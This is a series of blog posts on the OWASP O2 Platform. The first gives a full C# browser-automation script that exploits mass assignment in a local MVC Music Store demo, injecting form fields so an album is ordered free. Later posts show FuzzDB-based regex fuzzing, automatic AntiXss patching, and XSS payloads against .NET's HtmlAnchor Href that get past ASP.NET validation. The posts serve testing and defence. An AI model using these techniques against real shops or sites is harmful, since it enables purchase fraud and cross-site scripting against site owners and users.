Exploiting Microsoft MVC vulnerabilities using OWASP O2 Platform
In this post, I’m going to show the value added of using OWASP O2 Platform to exploit (and therefore correct/detect/prevent) vulnerabilities on top of Microsoft MVC platform.
Background
The industry has broadly adopting MVC architecture to build Web applications during the last years for several reasons, including the rapid and efficient paradigm it represents to build really good applications.
Few weeks ago , a user exploited a vulnerability at GitHub . The vulnerability exploited in this case, represents an old issue in the MVC architecture of different frameworks including Rails. This vulnerability is often named mass assignment , but it is also known as over posting or autobinding. Dinis Cruz wrote an interesting post about this vulnerability in the Spring MVC framework in this post http://diniscruz.blogspot.com/2012/04/we-need-security-focused-saststatic.html.
In this same line, Dinis wrote a really nice O2 script that allows to exploit this vulnerability on top of Microsoft MVC . In order to illustrate this use case of OWASP O2 platform, Dinis used a demo MVC application named MVC Music Store hosted in CodePlex( this is a great application that shows the use of this architecture).
Once you have this application up and running , then you probably are going to see something like this:
O2 Script to exploit the vulnerability
Dinis wrote the following script below to exploit this vulnerability, basically it is an IE automation script very powerful to overposting some post form fields and update them. Let’s see the script and then a quick explanation about it.
var ie = "ie_Fyila".o2Cache(()=> panel.clear().add_IE()).silent(true); // ie ramdon value for o2cache makes this object to unique amongst multiple instances of this control var site = "http://localhost:26641"; Action<string,string,string> register = (username, password,email)=>{ ie.open(site + "/Account/Register"); ie.field("UserName").value(username); ie.field("Email").value(email); ie.field("Password").value(password); ie.field("ConfirmPassword").value(password); ie.button("Register").click(); }; Action loginAsTestUser = ()=>{ var user1_name = "test_user".add_RandomLetters(5); var user1_email = "test@testuser.com"; var user1_pwd = "a pwd".add_RandomLetters(10); register(user1_name, user1_pwd, user1_email); }; Action selectTestProductAndCheckout = ()=>{ ie.link("Rock").scrollIntoView().flash().click(); //Selection Led Zeppeling I album ie.link(" Led Zeppelin I ").scrollIntoView().flash().click(); ie.link("Add to cart").flash().click(); ie.link("Checkout >>").flash().click(); }; Action populateSubmitOrder = ()=>{ var Address = "Foo Address"; var City = "Foo City"; var Country = "Foo Country"; var Email = "Email@email.com"; var FirstName = "Foo FirstName"; var LastName = "Foo LastName"; var Phone = "Foo Phone"; var PostalCode = "AAA BBB"; var State = "Foo State"; var PromoCode = "FREE"; // currently hard coded promotional code ie.field("Address").value(Address); ie.field("City").value(City); ie.field("Country").value(Country); ie.field("Email").value(Email); ie.field("FirstName").value(FirstName); ie.field("LastName").value(LastName); ie.field("Phone").value(Phone); ie.field("PostalCode").value(PostalCode); ie.field("PromoCode").value(PromoCode); ie.field("State").value(State); }; Action submitOrder = ()=>{ ie.button("Submit Order").click(); }; Action createOrderUsingTestUser = ()=>{ loginAsTestUser(); selectTestProductAndCheckout(); populateSubmitOrder(); submitOrder(); }; Action injectField = (fieldName, value)=>{ ie.field("FirstName") .injectHtml_afterEnd(" {0}:<input type="text" name="{0}" value="{1}" />".format(fieldName, value)); }; Action runExploit_1 = ()=>{ loginAsTestUser(); selectTestProductAndCheckout(); populateSubmitOrder(); //the following simulates adding this to the POST request following URI Convention: //OrderDetails[0].OrderDetailId=1&OrderDetails[0].OrderId=1&OrderDetails[0].AlbumId=1&OrderDetails[0].Quantity=1&OrderDetails[0].UnitPrice=5& injectField("OrderDetails[0].OrderDetailId","1"); injectField("OrderDetails[0].OrderId","1"); injectField("OrderDetails[0].AlbumId","1"); injectField("OrderDetails[0].Quantity","1"); injectField("OrderDetails[0].UnitPrice","0"); submitOrder(); ie.open(site + "/OrderDetails"); }; runExploit_1(); return "done"; //O2File:WatiN_IE_ExtensionMethods.cs //O2Ref:WatiN.Core.1x.dll //O2Tag_DontAddExtraO2Files;
If you look at this script, you will notice that it purpose is to register a user, select an album and submit the order, but look that the script injects other fields (related to other album), so we are buying just one album but we are also submitting a second one by injecting it as a part of the HTML form fields, and guess what? it is for free :).
This is the HTTP Post form field that were sent to the server:
And this is how our order detail looks like :
How was this possible?
If you look at the Orders model, you will notice that this model has some properties and the last one is a list of OrderDetails and lf you look carefully, then you will see that this property is not protected against modifications (like using ReadOnly attributes) . That makes possible that we could send some other fields as a part of the request.
//Some properties of the Orders model. [Required(ErrorMessage = "Email Address is required")] [DisplayName("Email Address")] [RegularExpression(@"[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,4}",ErrorMessage = "Email is is not valid.")] [DataType(DataType.EmailAddress)] public string Email { get; set; } [ScaffoldColumn(false)] public decimal Total { get; set; } public List<OrderDetail> OrderDetails { get; set; }
The Checkout controller accepts a FormCollection as a parameter and it holds all the HTTP POST form fields, from the below image you can see that it has the data for the second order.
Final thoughts
This script is one of the many examples of the advantage of using O2 scripts, we were able to exploit a vulnerability on top of Microsoft MVC. The script is quite simple and easy to read, apart from that, it is powerful enough to identify this kind of problems. The IE automation section in OWASP O2 Platform represents a new paradigm in the automation process and it power allow us to make Web Application Security visible.
As you can see, it is easy to fall in this vulnerability, probably you can argue that this kind of issue might be solved using good design and best practices and you probably are right, but we are vulnerable when somebody could forget all the mechanisms to write secure code, specially when working with this kind of architecture.
I would like to thank to Dinis Cruz for making this script available and all his work in the O2 Platform project.
Quickly testing RegExes and “Util – Text RegEx using FuzzDb.h2” O2 script
If you want to quickly test a RegEx for possible security blind spots, here are a couple script samples that migth help you.
While writing these examples I ended up writing a mini tool which you can now access via the O2 Script Util – Text RegEx using FuzzDb.h2 and looks like this:
Source Code Snippets
Here are a couple script examples on how to test regexes with O2:
Here is a simple example:
var regExString = @"['""].*|[+\-*/%=&|^~'""]"; var payload1 = "this is ok"; var payload2 = "this is' ok"; var result1 = payload1.regEx(regExString); var result2 = payload2.regEx(regExString); return "{0} {1}".format(result1, result2);
Now add the fuzzDb payloads
var regExString = @"['""].*|[+\-*/%=&|^~'""]"; var matches = new List<string>(); var fuzzDb = new API_FuzzDB(); foreach(var payload in fuzzDb.payloads_Xss()) if (payload.regEx(regExString).isFalse()) matches.add(payload); foreach(var payload in fuzzDb.payloads_SQLi_Generic()) if (payload.regEx(regExString).isFalse()) matches.add(payload); return matches; //O2File:API_FuzzDB.cs
You can also test for what happens when the payloads are encoded
var regExString = @"['""].*|[+\-*/%=&|^~'""]"; var matches = new List<string>(); var fuzzDb = new API_FuzzDB(); foreach(var payload in fuzzDb.payloads_Xss()) if (payload.regEx(regExString.urlEncode()).isFalse()) matches.add(payload.urlEncode()); return matches; //O2File:API_FuzzDB.cs
Next step is to build a Gui:
var topPanel = panel.clear().add_Panel(); var actionsPanel = topPanel.insert_Above(40,"actions"); var dataGridView = topPanel.add_DataGridView() .add_Columns("Payload", "Result"); var stop = false; var sqli_payloads = false; var xss_payloads = false; var regExString = @"['""].*[+\-*/%=&|^~'""]"; Action startFuzzing = ()=>{ var fuzzDb = new API_FuzzDB(); var startFuzzingLink = actionsPanel.link("Start Fuzzing").enabled(false);; var statusLabel = actionsPanel.controls<Label>(true).last(); Action<List<string>> testPayloads = (payloads)=> { foreach(var payload in payloads) { if (stop) break; statusLabel.set_Text("testing payload: {0}".format(payload)); if (payload.regEx(regExString).isFalse()) dataGridView.add_Row(payload, false); } }; if (sqli_payloads) testPayloads(fuzzDb.payloads_Xss()); if (xss_payloads) testPayloads(fuzzDb.payloads_Xss()); stop = false; startFuzzingLink.enabled(true); statusLabel.set_Text("Tests completed"); }; actionsPanel.add_Label("RegEx To test").top(3) .append_TextBox(regExString).onTextChange((text)=> regExString = text).width(200) .append_CheckBox("Xss", (value)=> xss_payloads= value).tick().top(1) .append_CheckBox("Sqli", (value)=> sqli_payloads= value).tick() .append_Link("Start Fuzzing", ()=> startFuzzing()).font_bold().top(3) .append_Link("stop", ()=> stop = true) .append_Link("clear table", ()=> dataGridView.remove_Rows() ) .append_Label("...").autoSize().top(3); startFuzzing(); return "ok"; //O2File:API_FuzzDB.cs
Final version
Here is a version with a couple more features (see screenshot above)
var topPanel = "Util - Text RegEx using FuzzDb".popupWindow(1000,400); //var topPanel = panel.clear().add_Panel(); var actionsPanel = topPanel.insert_Above(40,"actions"); var dataGridView = topPanel.add_DataGridView() .add_Columns("Payload", "Result"); var stop = false; var sqli_payloads = false; var xss_payloads = false; var withUrlEncoding = false; var regExString = @"['""].*[+\-*/%=&|^~'""]"; Action startFuzzing = ()=>{ var fuzzDb = new API_FuzzDB(); var startFuzzingLink = actionsPanel.link("Start Fuzzing").enabled(false);; var statusLabel = actionsPanel.controls<Label>(true).last(); Action<List<string>> testPayloads = (payloads)=> { foreach(var payload in payloads) { if (stop) break; statusLabel.set_Text("testing payload: {0}".format(payload)); if (payload.regEx(regExString).isFalse()) dataGridView.add_Row(payload, false); if (withUrlEncoding) { var encodedPayload = payload.urlEncode(); statusLabel.set_Text("testing payload: {0}".format(encodedPayload)); if (encodedPayload.regEx(regExString).isFalse()) dataGridView.add_Row(encodedPayload, false); this.sleep(100); } } }; if (sqli_payloads) testPayloads(fuzzDb.payloads_SQLi_Generic()); if (xss_payloads) testPayloads(fuzzDb.payloads_Xss()); // we could also apply the transformation into the entire list like this //testPayloads( fuzzDb.payloads_Xss().Select((value)=> value.urlEncode()) ); stop = false; startFuzzingLink.enabled(true); statusLabel.set_Text("Tests completed"); }; actionsPanel.add_Label("RegEx To test").top(3) .append_TextBox(regExString).onTextChange((text)=> regExString = text).width(200) .append_CheckBox("Xss", (value)=> xss_payloads= value).tick().top(1) .append_CheckBox("Sqli", (value)=> sqli_payloads= value)//.tick() .append_CheckBox("with UrlEncoding", (value)=> withUrlEncoding= value)//.tick() .append_Link("Start Fuzzing", ()=> startFuzzing()).font_bold().top(3) .append_Link("stop", ()=> stop = true) .append_Link("clear table", ()=> dataGridView.remove_Rows() ) .append_Label("...").autoSize().top(3); startFuzzing(); return "ok"; //O2File:API_FuzzDB.cs
Fixing/Encoding .NET code in real time (in this case Response.Write)
Here is a example of what we should be doing on Dev’s environments in order to make security invisible/automatic to them.
This script will automatically add an Encoding function to Response.Write so that it is always encoded. In this case the patch is done in real time, but it could also be done behind the scenes or on code check in (note that if you are a developer there is no way to avoid it, since the code patch happens automatically).
The script is called “Fixing Response.Write.h2” and here is a video of it in action:
This is how it works:
1) when the script executes you will have two code windows: on the left is the original code, on the right is the patched code (initially they both look the same)
2) make a change on the left window (look in line 21 on the left and line 18 on the right) and note that both windows code is syncronized
3) Unless you type Response.Write, nothing major happens to the code. Note how the Response.End() we just wrote was not changed (line 21 on left, line 18 on right), but on the previous line, the Response.Write was protected with a call to AntiXss.HtmlEncode (line 20 on left and line 17 on on right):
4) Now type on line 20 the Response.Write command (maybe with an XSS payload) and see how it is automatically wrapped in AntiXss.HtmlEncode (it is pretty cool to do this in real time 🙂 )
How does this work?
This was done using O2’s .NET Static Analysis engine which provices easy access to the code’s structure and exposes a number of helper methods to create refactored code:
//panel.clear(); //var topPanel = panel; var topPanel = O2Gui.open<Panel>("Fixing Response.Write",1000,500); var controls = topPanel.add_1x1("Original Code", "Patched Code"); var originalCode = controls[0].add_SourceCodeEditor(); var patchedCode = controls[1].add_SourceCodeEditor();</pre> originalCode.eDocumentDataChanged+= (text)=> { if (text.valid()) { var csharpAst = text.csharpAst(); //show.info(csharpAst.CompilationUnit.iNodes<InvocationExpression>()); foreach(var invocationExpression in csharpAst.CompilationUnit.iNodes<InvocationExpression>()) { var memberReference = invocationExpression.TargetObject as MemberReferenceExpression; if (memberReference.notNull() && memberReference.MemberName == "Write") { var className = "AntiXss"; var methodName = "HtmlEncode"; var newMemberReference = new MemberReferenceExpression(new IdentifierExpression(className),methodName ); var newInvocationExpression = new InvocationExpression(newMemberReference); newInvocationExpression.Arguments.AddRange(invocationExpression.Arguments); invocationExpression.Arguments.Clear(); invocationExpression.Arguments.Add(newInvocationExpression ); } csharpAst.CompilationUnit.add_Using("Microsoft.Security.Application"); } var patchedCSharpCode = csharpAst.CompilationUnit.csharpCode(); patchedCSharpCode = @"//O2Ref:AntiXSSLibrary.dll".line() + patchedCSharpCode; // so that it compiles OK var patchedCSharpFile = patchedCSharpCode.saveWithExtension(".cs"); patchedCode.open(patchedCSharpFile); } }; var originalFile = @"Request.Write.cs".local(); originalCode.open(originalFile); //using ICSharpCode.NRefactory.Parser //using ICSharpCode.NRefactory.Ast //using ICSharpCode.NRefactory //using O2.API.AST.CSharp; //using O2.API.AST.ExtensionMethods; //using O2.API.AST.ExtensionMethods.CSharp; //O2Ref:O2_API_AST.dll
Checking if .NET’s HtmlAnchor Href property is vulnerable to XSS
I was reviewing an app’s code and it looked like there was an XSS injection vector into the .NET’s built in HtmlAnchor Href property.
To make sure this happened, I quickly wrote the following script which allowed me to confirm that YES that property is vulnerable to XSS:
var stringWriter = new System.IO.StringWriter(); var htmlTextWriter = new HtmlTextWriter(stringWriter); var htmlAnchor = new System.Web.UI.HtmlControls.HtmlAnchor(); htmlAnchor.Title ="title"; htmlAnchor.HRef ="sadfasdf'<>\">aaa"; htmlAnchor.RenderControl(htmlTextWriter); //htmlAnchor.details(); return stringWriter.str(); //using System.Web.UI;
On the screenshot below you can see that none of the chars were encoded:
So the result in the ‘Output’ window shows the value put on the htmlAnchor.HRef ( the payload “sadfasdf'<>\”>aaa”), it is not encoded.
To really test this, lets try it on web page.
This next script will put the payload on an IE object:
var topPanel = panel.clear().add_Panel(); var ie = topPanel.add_IE().silent(true); var stringWriter = new System.IO.StringWriter(); var htmlTextWriter = new HtmlTextWriter(stringWriter); var htmlAnchor = new System.Web.UI.HtmlControls.HtmlAnchor(); htmlAnchor.Title ="title"; htmlAnchor.HRef ="<a href="http://www.google.com'%3c%3e/%22%3Eaaa">http://www.google.com'<>\">aaa</a>"; htmlAnchor.RenderControl(htmlTextWriter); ie.open("about:blank"); var html = "<html><body><h1>XSS on HtmlAnchor Href tag</h1>" + "before anchor<br/>" + stringWriter.str() + "<br/>after anchor</body></html>"; ie.html(html); //using System.Web.UI; //using O2.XRules.Database.Utils.O2 //O2File:WatiN_IE_ExtensionMethods.cs //O2Ref:WatiN.Core.1x.dll //O2Ref:Microsoft.mshtml.dll
which looks like this:
Note how the payload in the html achor breaks the html element and is shown on the page.
To really check if this is a problem let try this on a real ASP.NET page .
For that, open the Util – Aspx PoC Builder.h2 script ,which you can find here:
… and looks like this when opened:
This control will fire up a local webserver on (the directory specified on the left) and will give us a quick way to write ASP.NET Pocs
For this example lets create file called AnchorTag.aspx in an ASP.NET Controls folder
… and use the content from http://www.w3schools.com/aspnet/showasp.asp?filename=demo_htmlanchor with a small modification: On line 4 add ?value=” + Request(“payload”) to the Href value (so that we can put a payload via the Querystring or POST request)
link1.HRef="<a href="http://www.w3schools.com/?value">http://www.w3schools.com/?value</a>=" + Request("payload")
This is what it looks like when executed:
We can now add a variable called payload to the QueryString :
… which if containing a “ and a > will break the Html Anchor Element
Since when we are inside Html attribute the “ (and an =) is all we need to put in an XSS payload, we can popup an alert using ” onmouseover=”alert(12)
Bypassing ASP.NET Validation
What is interresting (and dangerous) and this exploit vector is that it bypasses ASP.NET validation.
For example if we use a payload that has a valid Html tag (payload=“aaaa”> <h1>XSS</h1>) we will get this error: